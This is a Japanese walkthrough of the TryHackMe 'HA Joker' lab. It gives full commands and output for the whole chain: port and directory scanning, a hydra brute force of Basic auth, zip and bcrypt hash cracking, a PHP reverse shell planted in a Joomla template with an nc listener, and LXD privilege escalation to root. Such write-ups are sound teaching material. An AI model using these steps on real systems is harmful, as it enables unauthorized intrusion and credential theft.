概要
TryHackMe「HA Joker CTF」のWalkthroughです。
Task1
Q2.What version of Apache is it?
ポートスキャンを実行します。
$ nmap -Pn -T4 -sVC -A --min-rate 5000 -p- 10.10.111.217 -oN nmap_result
ORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ad:20:1f:f4:33:1b:00:70:b3:85:cb:87:00:c4:f4:f7 (RSA)
| 256 1b:f9:a8:ec:fd:35:ec:fb:04:d5:ee:2a:a1:7a:4f:78 (ECDSA)
|_ 256 dc:d7:dd:6e:f6:71:1f:8c:2c:2c:a1:34:6d:29:99:20 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: HA: Joker
|_http-server-header: Apache/2.4.29 (Ubuntu)
8080/tcp open http Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=Please enter the password.
|_http-title: 401 Unauthorized
ポートの稼働状況が分かりました。
| ポート | サービス | バージョン |
|---|---|---|
| 22 | ssh | OpenSSH 7.6p1 |
| 80 | http | Apache httpd 2.4.29 |
| 8080 | http | Apache httpd 2.4.29 |
A.2.4.29
Q3.What port on this machine not need to be authenticated by user and password?
80番ポートに認証なしでアクセス出来ました。
A.80
Q4.There is a file on this port that seems to be secret, what is it?
Hint.Extensions File, dirb command comes with a flag that append each word with this extensions. Try to use dirb with a file that contains some commons extensions in a web server.
ディレクトリスキャンをします。
$ dirsearch -u http://10.10.111.217
[00:56:15] 301 - 312B - /css -> http://10.10.111.217/css/
[00:56:31] 301 - 312B - /img -> http://10.10.111.217/img/
[00:56:51] 200 - 24KB - /phpinfo.php
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.111.217/FUZZ -recursion -recursion-depth 1 -ic -c -e .php,.html,.js,.txt
index.html [Status: 200, Size: 5954, Words: 783, Lines: 97, Duration: 240ms]
secret.txt [Status: 200, Size: 320, Words: 62, Lines: 7, Duration: 240ms]
/phpinfo.php,secret.txtを発見できました。
A.secret.txt
Q5.There is another file which reveals information of the backend, what is it?
A.phpinfo.php
Q6.When reading the secret file, We find with a conversation that seems contains at least two users and some keywords that can be intersting, what user do you think it is?
secret.txtにはバットマンとジョーカーの会話が記載されています。
secret.txt
Batman hits Joker.
Joker: "Bats you may be a rock but you won't break me." (Laughs!)
Batman: "I will break you with this rock. You made a mistake now."
Joker: "This is one of your 100 poor jokes, when will you get a sense of humor bats! You are dumb as a rock."
Joker: "HA! HA! HA! HA! HA! HA! HA! HA! HA! HA! HA! HA!"
A.joker
Q7.What port on this machine need to be authenticated by Basic Authentication Mechanism?
A.8080
Q8.At this point we have one user and a url that needs to be aunthenticated, brute force it to get the password, what is that password?
Hint.Maybe burp with format user:pass and encode with base64? Note: Don't forget decode it!!
8080ポートにアクセスするにはHTTP Basic認証を突破する必要があります。
ブルートフォース攻撃でパスワードを特定します。
$ hydra -f -l joker -P /usr/share/wordlists/rockyou.txt -s 8080 10.10.83.94 http-get /
[8080][http-get] host: 10.10.83.94 login: joker password: hannah
A.hannah
Q9.Yeah!! We got the user and password and we see a cms based blog. Now check for directories and files in this port. What directory looks like as admin directory?
Hint.Nikto with the credentials we obtained?
Username: joker,Password: hannahで8080にアクセスできました。
joomlaというCMSを利用していることが分かりました。
/administrator/で管理画面にアクセスできるようです。
A./administrator/
Q10.We need access to the administration of the site in order to get a shell, there is a backup file, What is this file?
ディレクトリスキャンをします。
$ dirsearch -u http://10.10.83.94:8080/ -H "Authorization: Basic am9rZXI6aGFubmFo"
[11:29:28] 301 - 325B - /administrator -> http://10.10.83.94:8080/administrator/
[11:29:29] 200 - 2KB - /administrator/
[11:29:29] 403 - 278B - /administrator/includes/
[11:29:29] 200 - 2KB - /administrator/index.php
[11:29:29] 200 - 31B - /administrator/cache/
[11:29:29] 200 - 31B - /administrator/logs/
[11:29:29] 301 - 330B - /administrator/logs -> http://10.10.83.94:8080/administrator/logs/
[11:29:38] 301 - 315B - /bin -> http://10.10.83.94:8080/bin/
[11:29:38] 200 - 31B - /bin/
[11:29:40] 301 - 317B - /cache -> http://10.10.83.94:8080/cache/
[11:29:40] 200 - 31B - /cache/
[11:29:42] 200 - 31B - /cli/
[11:29:43] 200 - 12MB - /backup
[11:29:43] 200 - 12MB - /backup.zip
[11:29:44] 301 - 322B - /components -> http://10.10.83.94:8080/components/
[11:29:44] 200 - 31B - /components/
[11:29:46] 200 - 0B - /configuration.php
[11:30:01] 200 - 1KB - /htaccess.txt
[11:30:03] 301 - 318B - /images -> http://10.10.83.94:8080/images/
[11:30:03] 200 - 31B - /images/
[11:30:03] 301 - 320B - /includes -> http://10.10.83.94:8080/includes/
[11:30:03] 200 - 31B - /includes/
[11:30:04] 200 - 4KB - /index.php
[11:30:04] 404 - 9B - /index.php/login/
[11:30:08] 301 - 320B - /language -> http://10.10.83.94:8080/language/
[11:30:08] 200 - 31B - /layouts/
[11:30:09] 200 - 31B - /libraries/
[11:30:09] 301 - 321B - /libraries -> http://10.10.83.94:8080/libraries/
[11:30:09] 200 - 7KB - /LICENSE
[11:30:09] 200 - 7KB - /LICENSE.txt
[11:30:14] 301 - 317B - /media -> http://10.10.83.94:8080/media/
[11:30:14] 200 - 31B - /media/
[11:30:16] 301 - 319B - /modules -> http://10.10.83.94:8080/modules/
[11:30:16] 200 - 31B - /modules/
[11:30:27] 301 - 319B - /plugins -> http://10.10.83.94:8080/plugins/
[11:30:27] 200 - 31B - /plugins/
[11:30:31] 200 - 2KB - /README
[11:30:31] 200 - 2KB - /README.txt
[11:30:33] 200 - 395B - /robots.txt
[11:30:35] 403 - 278B - /server-status
[11:30:35] 403 - 278B - /server-status/
[11:30:44] 301 - 321B - /templates -> http://10.10.83.94:8080/templates/
[11:30:45] 200 - 31B - /templates/
[11:30:45] 200 - 31B - /templates/index.html
[11:30:45] 200 - 0B - /templates/beez3/
[11:30:45] 200 - 0B - /templates/protostar/
[11:30:45] 200 - 0B - /templates/system/
[11:30:46] 200 - 31B - /tmp/
[11:30:46] 301 - 315B - /tmp -> http://10.10.83.94:8080/tmp/
[11:30:54] 200 - 567B - /web.config
[11:30:54] 200 - 567B - /web.config.txt
/backup.zipが見つかりました。
A.backup.zip
Q11.We have the backup file and now we should look for some information, for example database, configuration files, etc ... But the backup file seems to be encrypted. What is the password?
Hint*.Use john to crack the zip hash
ZIPにはパスワードがかかっているので解析します。
$ zip2john backup.zip > zip_hash
$ john zip_hash --wordlist=/usr/share/wordlists/rockyou.txt
hannah (backup.zip)
A.hannah
Q12.Remember that... We need access to the administration of the site... Blah blah blah. In our new discovery we see some files that have compromising information, maybe db? ok what if we do a restoration of the database! Some tables must have something like user_table! What is the super duper user?
ZIPファイルを解凍するとdb/joomladb.sqlを得られました。
ユーザー情報を入手できました。
A.admin
Q13.Super Duper User! What is the password?
Hint.Again, john and mysql hash password.
ハッシュ値を解析します。
$ hashcat -a 0 -m 3200 admin_hash /usr/share/wordlists/rockyou.txt
$2y$10$b43UqoH5UpXokj2y9e/8U.LD8T3jEQCuxG2oHzALoJaj9M5unOcbG:abcd1234
A.abcd1234
Q14.At this point, you should be upload a reverse-shell in order to gain shell access. What is the owner of this session?
Hint.Maybe use error.php page on a template? Of course try it and execute 'id' command.
Username: admin,Password: abcd1234で管理画面にアクセスできました。
HackTricksを参考に進めます。
/administrator/index.php?option=com_templatesでテンプレート管理ページにアクセスします。
Templateカラムのprotostarを選択し、error.phpを編集します。
PHPリバースシェルのソースコードを貼り付けました。
/templates/protostar/error.phpにアクセスし、Netcatをリッスンしているとリバースシェルを張れました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.217.226] 55470
Linux ubuntu 4.15.0-55-generic #60-Ubuntu SMP Tue Jul 2 18:22:20 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
09:12:12 up 20 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data),115(lxd)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
A.www-data
Q15.This user belongs to a group that differs on your own group, What is this group?
Hint.Linux containers
www-dataユーザーはlxdグループに所属しています。
$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),115(lxd)
A.lxd
Q16.Spawn a tty shell.
Hint.python3
TTYを設定します。
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
Q18.Research how to escalate privileges using LXD permissions and check to see if there are any images available on the box.
Hint.If there isn't an image already on the box, you may need to upload one...
イメージを確認します。
$ lxc image list
lxc image list
+-------+-------------+--------+-------------+------+------+-------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE |
+-------+-------------+--------+-------------+------+------+-------------+
イメージが無いのでKaliからダウンロードします。
$ wget http://10.6.55.144/alpine-v3.13-x86_64-20210218_0139.tar.gz
$ lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
$ lxc image list
lxc image list
+---------+--------------+--------+-------------------------------+--------+--------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE |
+---------+--------------+--------+-------------------------------+--------+--------+------------------------------+
| myimage | cd73881adaac | no | alpine v3.13 (20210218_01:39) | x86_64 | 3.11MB | Oct 13, 2024 at 4:24pm (UTC) |
+---------+--------------+--------+-------------------------------+--------+--------+------------------------------+
Q19.The idea here is to mount the root of the OS file system on the container, this should give us access to the root directory. Create the container with the privilege true and mount the root file system on /mnt in order to gain access to /root directory on host machine.
Hint.lxc init ... lxc config device ... lxc start ... lxc exec ...
権限昇格をします。
$ lxc init myimage ignite -c security.privileged=true
$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
$ lxc start ignite
$ lxc exec ignite /bin/sh
lxc exec ignite /bin/sh
~ # ^[[30;5R
~ # ^[[30;5Rwhoami
whoami
root
rootシェルを取得できました。
Q20.What is the name of the file in the /root directory?
/mnt/root/root配下にfinal.txtを発見しました。
ls -la root
total 40
drwx------ 5 root root 4096 Oct 25 2019 .
drwxr-xr-x 22 root root 4096 Oct 22 2019 ..
-rw------- 1 root root 40 Oct 25 2019 .bash_history
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwx------ 2 root root 4096 Oct 22 2019 .cache
drwxr-x--- 3 root root 4096 Oct 24 2019 .config
drwxr-xr-x 3 root root 4096 Oct 8 2019 .local
-rw------- 1 root root 33 Oct 24 2019 .mysql_history
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 1003 Oct 8 2019 final.txt
cat root/final.txt
██╗ ██████╗ ██╗ ██╗███████╗██████╗
██║██╔═══██╗██║ ██╔╝██╔════╝██╔══██╗
██║██║ ██║█████╔╝ █████╗ ██████╔╝
██ ██║██║ ██║██╔═██╗ ██╔══╝ ██╔══██╗
╚█████╔╝╚██████╔╝██║ ██╗███████╗██║ ██║
╚════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
!! Congrats you have finished this task !!
Contact us here:
Hacking Articles : https://twitter.com/rajchandel/
Aarti Singh: https://in.linkedin.com/in/aarti-singh-353698114
+-+-+-+-+-+ +-+-+-+-+-+-+-+
|E|n|j|o|y| |H|A|C|K|I|N|G|
+-+-+-+-+-+ +-+-+-+-+-+-+-+
A.final.txt